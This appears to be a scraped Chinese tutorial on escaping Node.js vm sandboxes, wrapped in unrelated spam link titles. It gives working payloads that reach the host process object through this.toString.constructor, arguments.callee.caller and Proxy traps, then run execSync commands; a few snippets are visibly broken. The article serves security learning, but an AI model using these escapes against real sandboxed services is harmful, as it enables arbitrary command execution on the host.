当前位置: 首页 > news >正文

行业网站如何推广淘宝网网站开发部技术部

行业网站如何推广,淘宝网网站开发部技术部,杭州富阳网站建设公司,官网模板建站塔山双喜目录 一、什么是沙箱(sandbox) 二、沙箱技术的实现 & node.js 2.1简单沙箱程序示例 2.2this.tostring S1: S2: 三、arguments.callee.caller 一、什么是沙箱(sandbox) 在计算机安全性方面,沙箱(沙盒、sanbox&#xff…

目录

一、什么是沙箱(sandbox)

二、沙箱技术的实现 & node.js

2.1简单沙箱程序示例 

2.2this.tostring

S1:

S2:

 三、arguments.callee.caller


一、什么是沙箱(sandbox)

在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。


二、沙箱技术的实现 & node.js

沙箱技术按照设定的安全策略,限制不可信程序对系统资源的使用来实现,那么就要在访问系统资源之前将程序的系统调用拦截下来,然后按照安全策略对调用进行审查。

基于JavaScript的node.js有一些提供沙箱环境的模块,它们也根据这样的思路来实现,例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。
Proxy 对象用于创建一个对象的代理,从而实现基本操作的拦截和自定义(如属性查找、赋值、枚举、函数调用等)

简单地说,就是在对某个对象进行操作之前,例如访问它的属性或者调用它的方法,先传递给与对象绑定的 Proxy ,由 Proxy 执行具体的逻辑。

2.1简单沙箱程序示例 

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

执行结果

2.2this.tostring

在2.1示例中我们可以使用this引入上下文中没有的外部模块从而绕过此隔离模块

const process = this.toString.constructor('return process')() 
process.mainModule.require('ipconfig').execSync('curl -I http://www.baidu.com').toString()`

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器(function),构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。

第二行,利用前面获取的process对象既可以干任何事。

执行结果
  

S1:

为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?


{}是属于沙箱内的一个对象我们即使使用则这个方法也无法获取process而this是沙箱外的一个对象它可以帮助我i们获取process

重点:引入沙箱外对象

S2:

m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?


原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的  、

S2衍生

我们可以通过改变context:{m: [], n: {}, x: /regexp/}使得m,n,x可以引用

  

 三、arguments.callee.caller

有这么一段代码它的上下文不存在this也不存在别的对象比如下面这段代码

const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res) 

由于在 JavaScript 中,this 关键字的值取决于函数的执行上下文。在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。

在这种情况下我们前面提到的“this法”失效了此时该如何逃逸?

我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。

在 JavaScript 中,arguments.callee arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而,这两个属性都已经被弃用(deprecated)并不再建议使用,因为它们在严格模式("strict mode")下会导致错误。

若此时我们在沙盒中定义一个函数并且返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

那么通过如下代码就可实现上述例子的沙箱绕过

(() => {  const a = {}  a.toString = function () {    const cc = arguments.callee.caller;    const p = (cc.constructor.constructor('return process'))();   return p.mainModule.require('child_process').execSync('ipconfig').toString()  }  return a })()
const vm = require('vm'); const script = `(() => {  const a = {}  a.toString = function () {    const cc = arguments.callee.caller;    const p = (cc.constructor.constructor('return process'))();   return p.mainModule.require('child_process').execSync('ipconfig').toString()  }  return a })()`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res) 

执行后可获得ip

上述代码触发条件在于console.log('Hello ' + res) 也就是字符串触发

S1:若沙箱外没有字符串相关操作此时该怎么办?

可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码

代码如下

const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.xxx) 

可以看到在这样一个代码中第一种方法已经不适用了此时我们就需要用到proxy劫持外部get

(() => {  const a = new Proxy({}, { get: function() {      const cc = arguments.callee.caller;      const p = (cc.constructor.constructor('return process'))();     return p.mainModule.require('child_process').execSync('whoami').toString()}  })    return a })()

 

S2:若沙箱外既没有字符串且沙箱的返回值没有做任何事,或者没有捕捉返回值

此时我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞

vm = require('vm'); const code5 = 'throw new proxy{}, {get :function(){const cc =  arguments.callee.caller;const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString()}
})
;' try {    vm.runInContext(code5, vm.createContext(Object.create(null))); }catch(e){    console.log('error happend: ' + e); }

 

http://www.yayakq.cn/news/583451/

相关文章:

  • 广东住房建设厅网站影视网站建设源码哪个好
  • 境外网站icp备案seo标签怎么优化
  • 做网站排名费用多少钱wordpress添加文章页不显示
  • 河南省城乡建设厅网站首页知乎推广渠道
  • 中国建设工程造价管理协会网站查询网站建设应用后台
  • 宁波网站推广宣传公司排名网站怎么做内容
  • 贵州省住房和城乡建设厅官方网站首页自己搭建公司网站
  • 旅游网站建设模块填手机号码的广告
  • 做网站运营怎么样租车网站模板下载
  • 怎么免费做网站教程idc托管
  • 企业集团网站建设方案西陆军事新闻最新消息
  • 做网站服务器租一年多少钱代码wordpress
  • 模板免费网站权威发布图片红字
  • 网站打开后显示建设中他达拉非片多少钱一盒
  • 重庆城市建设集团官方网站谁能低价做网站支付接口
  • 网站安装代码网络推广的方法有
  • 网站链接提交收录安徽seo网站推广
  • wordpress pdf 在线读哈尔滨做网站seo的
  • wordpress更改站点名称怎么做网站推广方案
  • 哈尔滨城乡建设网站家具设计手绘
  • 网站建设与开发专业上海网站推
  • 建德网站设计公司罗村网站建设公司
  • 阿坝网站建设深圳html5网站推广价格
  • 同学聚会怎么样做网站企业网站免费认证
  • 找网站建设公司好哪些网站做平面设计素材
  • asp学习网站透明图片在线制作
  • 宝塔怎么创建网站制作公司网站用什么软件
  • 专业网站建设企业网站制作2021年中国中小企业最新数据
  • 马鞍山市建设银行网站大连百度推广
  • 爱站工具有加超人下拉系统evus在哪个网站做登记